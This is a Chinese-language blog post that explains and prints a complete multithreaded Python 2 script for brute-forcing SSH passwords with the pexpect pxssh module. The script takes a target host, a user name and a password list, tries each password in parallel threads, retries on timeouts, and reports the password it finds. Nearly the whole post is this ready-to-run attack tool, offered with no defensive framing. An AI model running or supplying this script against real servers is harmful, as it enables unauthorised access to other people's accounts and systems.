利用python-pxssh实现ssh暴力破解

利用python-pxssh实现ssh暴力破解,昨天的文章中完成了利用pexpect来执行登录ssh的操作,今天利用pxssh来进行暴力破解,pxssh是一个在pexpect库中的专用脚本,不需要单独安装,有的python版本可以直接import pxssh,有的则需要from pexpect import pxssh 来进行包含,这个根据各自版本进行修改。我的是后者的方式。

源码如下:

 

#coding=utf-8
from pexpect import pxssh
import optparse
import time
from threading import *
# Set maxconnections of threads
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
#线程详情请查看http://blog.csdn.net/comprel/article/details/72798413

Found = False
Fails = 0
def connect(host, user, password, release):
    # User the global variables
    global Found
    global Fails
    try:
        s = pxssh.pxssh()
        #  Try login with user/password
        s.login(host, user, password)
        print '[+] Password Found: ' + password
        Found = True
    except Exception, e:
        if 'read_nonblocking' in str(e):
            Fails += 1
            time.sleep(5)
            # Try again
            connect(host, user, password, False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            # Try again
            connect(host, user, password, False)
    finally:
        # If get a wrong-pass answer, then release a thread-lock
        if release:
            connection_lock.release()
def main():
    parser = optparse.OptionParser("usage%prog -H <target host> -u <user> -F <password list>")
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-u', dest='user', type='string', help='specify the user')
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
    (options, args) = parser.parse_args()
    host = options.tgtHost
    user = options.user
    passwdFile = options.passwdFile
    if (host == None) | (user == None) | (passwdFile == None):
        print parser.usage
        exit(0)
    fn = open(passwdFile, 'r')
    for line in fn.readlines():
	if Found:
            # If passwdFile enum ends before a thread found the passwd, 'Exiting...' will not be able to echo on the screen
            print "[*] Exiting: Password  Found"
            exit(0)
        if Fails > 5:
            print "[!] Exiting: Too Many Socket Timeouts"
            exit(0)
        connection_lock.acquire()
        password = line.strip('\r').strip('\n')
        print "[-] Testing: " + str(password)
        t = Thread(target = connect, args = (host, user, password, True))
        child = t.start()
if __name__ == '__main__':
    main()

 

0

Related Posts

Comments

发表评论

电子邮件地址不会被公开。 必填项已用*标注

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据